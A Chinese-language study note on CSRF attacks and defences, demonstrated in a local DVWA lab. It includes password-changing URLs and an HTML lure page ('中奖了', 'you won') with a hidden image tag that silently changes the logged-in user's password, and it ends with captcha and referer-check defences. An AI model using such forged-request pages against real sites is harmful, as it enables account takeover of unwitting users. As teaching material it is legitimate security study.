Web安全攻防 学习笔记
一、CSRF 原理介绍
1.1、CSRF 漏洞定义
CSRF(cross-site request forery,跨站请求伪造),也被称为 one click attack 或者 session riding ,通过缩 写为 CSRF 或者 XSRF 。
1.2、XSS 与 CSRF 区别
-
XSS 利用站点内的信任用户,盗取 cookie
-
CSRF 通过伪装成受信任用户请求信任的网站
1.3、CSRF 漏洞原理
利用目标用户的合法身份,以目标用户的名字执行某些非法操作。如:
- 正常用户转账
http://www.xxx.com/pay.php?user=xx&money=100
- 恶意用户转账
http://www.xxx.com/pay.php?user=恶意用户&money=1000
1.4、CSRF 漏洞利用
- 修改密码
(1)登录 DVWA 环境 http://127.0.0.1/dvwa(初始账号 admin,密码 password)
(2)DVWA Security 设置为 Low
(3)进入 CSRF 修改密码
# 直接显示在了 url 上
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#
(4)使用恶意 url 进行修改
# 修改了 url 的参数, 然后直接访问 url 就能把密码修改
# 虽然很 low, 但它也确实存在过一段时间
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
(5)提升 DVWA Security 等级为 Impossible
# 多了一个 user_token 参数
# 该参数相当于是身份验证, 每次都是不一样的, 所有能很好的规避上面的漏洞
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_current=admin&password_new=possword&password_conf=possword&Change=Change&user_token=3d2ebc4070e9f2bc752c42caa7ad2c91#
- 隐藏链接修改密码
在我们正常浏览网站时,应该都看到过弹出来的小广告,我们点击关闭却会链接到别的网址。
简单写个 html 页面:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<h1>中奖了</h1>
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#" alt="">
</body>
</html>
再次登录 DVWA 就会发现,密码已经改了。(这里能改密码,那么是不是也能做点别的?)
1.5、CSRF 防御措施
CSRF漏洞实质:服务器无法准确判断当前请求是否是合法用户的自定义操作。
-
验证码防御
-
referer check 防御(referer 字段显示当前页面是从何而来)